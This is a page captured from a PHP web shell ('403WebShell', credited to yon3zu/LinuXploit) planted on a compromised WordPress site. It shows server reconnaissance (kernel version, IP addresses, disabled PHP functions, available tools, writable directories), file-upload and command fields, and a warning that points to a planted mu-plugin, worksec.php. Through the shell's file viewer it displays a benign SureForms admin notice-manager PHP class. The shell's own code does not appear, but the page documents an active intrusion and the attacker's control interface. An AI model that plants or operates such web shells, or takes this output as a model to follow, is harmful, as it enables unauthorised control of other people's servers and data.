Warning: chmod(): No such file or directory in /www/wwwroot/scuipturepactory.com/wp-content/mu-plugins/worksec.php on line 7
Uname:Linux iZt4n9czhka2zvqfajdlr2Z 6.8.0-63-generic #66-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 13 20:25:30 UTC 2025 x86_64

Base Dir : /www/wwwroot/scuipturepactory.com

User : www


403WebShell
403Webshell
Server IP : 47.82.179.145  /  Your IP : 216.73.217.129
Web Server : nginx/1.26.3
System : Linux iZt4n9czhka2zvqfajdlr2Z 6.8.0-63-generic #66-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 13 20:25:30 UTC 2025 x86_64
User : www ( 1001)
PHP Version : 8.3.30
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/scuipturepactory.com/wp-content/plugins.off/sureforms/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/scuipturepactory.com/wp-content/plugins.off/sureforms/admin//notice-manager.php
<?php
/**
 * Admin Notice Manager Class.
 *
 * This class manages admin notices and bridges them to React admin pages.
 * It collects notices from various sources (including existing PHP notices)
 * and exports them to React via wp_localize_script.
 *
 * @package sureforms
 * @since 2.5.0
 */

namespace SRFM\Admin;

use SRFM\Inc\Traits\Get_Instance;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

/**
 * Notice Manager class.
 *
 * Handles collection and distribution of admin notices to both PHP and React contexts.
 *
 * @since 2.5.0
 */
class Notice_Manager {
	use Get_Instance;

	/**
	 * Registered notices.
	 *
	 * @var array
	 * @since 2.5.0
	 */
	private static $notices = [];

	/**
	 * Class constructor.
	 *
	 * @return void
	 * @since 2.5.0
	 */
	public function __construct() {
		// Hook to add notices to localized data.
		add_filter( 'srfm_admin_filter', [ $this, 'add_notices_to_localized_data' ] );
	}

	/**
	 * Register a notice for display in React admin pages.
	 *
	 * This method allows PHP code to register notices that will be displayed
	 * in React admin pages via the AdminNotice component.
	 *
	 * @param array $notice_args {
	 *     Notice configuration arguments.
	 *
	 *     @type string   $id          Required. Unique notice identifier.
	 *     @type string   $variant     Notice type: 'error', 'warning', 'info', 'success'. Default 'info'.
	 *     @type string   $message     Required. Notice message (can contain HTML).
	 *     @type string   $title       Optional. Notice title.
	 *     @type array    $actions     Optional. Array of action button configurations.
	 *     @type bool     $dismissible Optional. Whether notice can be dismissed. Default true.
	 *     @type array    $pages       Optional. Page slugs where notice should appear. Default ['all'].
	 * }
	 *
	 * Action button structure:
	 * {
	 *     @type string $label    Required. Button text.
	 *     @type string $url      Optional. URL to navigate to.
	 *     @type string $target   Optional. Link target: '_blank' or '_self'. Default '_self'.
	 *     @type string $variant  Optional. Button variant: 'primary', 'secondary', 'link'. Default 'primary'.
	 *     @type string $size     Optional. Button size: 'sm', 'md', 'lg'. Default 'sm'.
	 *     @type string $className Optional. Additional CSS classes.
	 * }
	 *
	 * @return void
	 * @since 2.5.0
	 */
	public static function register_notice( $notice_args ) {
		// Validate required fields.
		if ( empty( $notice_args['id'] ) || empty( $notice_args['message'] ) ) {
			return;
		}

		// Set defaults.
		$notice = wp_parse_args(
			$notice_args,
			[
				'id'          => '',
				'variant'     => 'info',
				'message'     => '',
				'title'       => '',
				'actions'     => [],
				'dismissible' => true,
				'pages'       => [ 'all' ],
			]
		);

		// Ensure pages is an array.
		if ( ! is_array( $notice['pages'] ) ) {
			$notice['pages'] = [ $notice['pages'] ];
		}

		// Store the notice.
		self::$notices[ $notice['id'] ] = $notice;
	}

	/**
	 * Get all registered notices.
	 *
	 * @return array Array of notice configurations.
	 * @since 2.5.0
	 */
	public static function get_notices() {
		return array_values( self::$notices );
	}

	/**
	 * Remove a registered notice.
	 *
	 * @param string $notice_id The notice ID to remove.
	 * @return void
	 * @since 2.5.0
	 */
	public static function remove_notice( $notice_id ) {
		if ( isset( self::$notices[ $notice_id ] ) ) {
			unset( self::$notices[ $notice_id ] );
		}
	}

	/**
	 * Clear all registered notices.
	 *
	 * @return void
	 * @since 2.5.0
	 */
	public static function clear_notices() {
		self::$notices = [];
	}

	/**
	 * Add notices to localized data for React.
	 *
	 * This filter callback adds the notices array to the localized script data
	 * that gets passed to React via window.srfm_admin.
	 *
	 * @param array $localization_data Existing localization data.
	 * @return array Modified localization data with notices.
	 * @since 2.5.0
	 */
	public function add_notices_to_localized_data( $localization_data ) {
		$localization_data['notices'] = self::get_notices();
		return $localization_data;
	}

	/**
	 * Helper method to register a notice from existing PHP admin_notices hooks.
	 *
	 * This method simplifies converting existing PHP notices to work with React.
	 * Call this method from your existing admin_notices callback to also register
	 * the notice for React pages.
	 *
	 * Example usage:
	 * ```php
	 * public function my_admin_notice() {
	 *     $message = '<p>' . esc_html__( 'Important notice!', 'sureforms' ) . '</p>';
	 *
	 *     // Display in PHP (existing behavior - continues to work)
	 *     echo '<div class="notice notice-error">' . wp_kses_post( $message ) . '</div>';
	 *
	 *     // Also register for React pages (new behavior)
	 *     Notice_Manager::register_from_php_notice(
	 *         'my-notice-id',
	 *         'error',
	 *         $message,
	 *         [
	 *             [
	 *                 'label' => __( 'Fix Now', 'sureforms' ),
	 *                 'url'   => admin_url( 'admin.php?page=settings' ),
	 *             ]
	 *         ]
	 *     );
	 * }
	 * ```
	 *
	 * @param string $id      Unique notice identifier.
	 * @param string $variant Notice type: 'error', 'warning', 'info', 'success'.
	 * @param string $message Notice message (HTML allowed).
	 * @param array  $actions Optional. Array of action button configurations.
	 * @param array  $pages   Optional. Page slugs where notice should appear. Default ['all'].
	 * @return void
	 * @since 2.5.0
	 */
	public static function register_from_php_notice( $id, $variant, $message, $actions = [], $pages = [ 'all' ] ) {
		self::register_notice(
			[
				'id'      => $id,
				'variant' => $variant,
				'message' => $message,
				'actions' => $actions,
				'pages'   => $pages,
			]
		);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit